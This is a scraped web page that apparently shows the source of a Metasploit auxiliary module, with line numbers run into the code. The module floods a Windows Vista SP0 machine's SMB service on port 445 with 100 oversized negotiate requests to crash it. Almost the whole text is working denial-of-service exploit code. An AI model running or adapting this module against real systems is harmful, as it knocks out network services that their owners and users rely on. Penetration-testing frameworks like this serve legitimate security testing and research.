Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',12'Description' => %q{13This module exploits a flaw in Windows Vista that allows a remote14unauthenticated attacker to disable the SMB service. This vulnerability15was silently fixed in Microsoft Vista Service Pack 1.16},1718'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'OSVDB', '64341'],23]24))2526register_options([Opt::RPORT(445)])27end2829def run3031print_status("Sending 100 negotiate requests...");3233# 100 requests ensure that the bug is reliably hit341.upto(100) do |i|3536begin3738connect3940# 118 dialects are needed to trigger a non-response41dialects = ['NT LM 0.12'] * 1184243data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')4445pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct46pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE47pkt['Payload']['SMB'].v['Flags1'] = 0x1848pkt['Payload']['SMB'].v['Flags2'] = 0xc85349pkt['Payload'].v['Payload'] = data50pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)51pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)5253sock.put(pkt.to_s)5455disconnect5657rescue ::Interrupt58raise $!5960rescue ::Exception61print_error("Error at iteration #{i}: #{$!.class} #{$!}")62return63end6465end6667end68end697071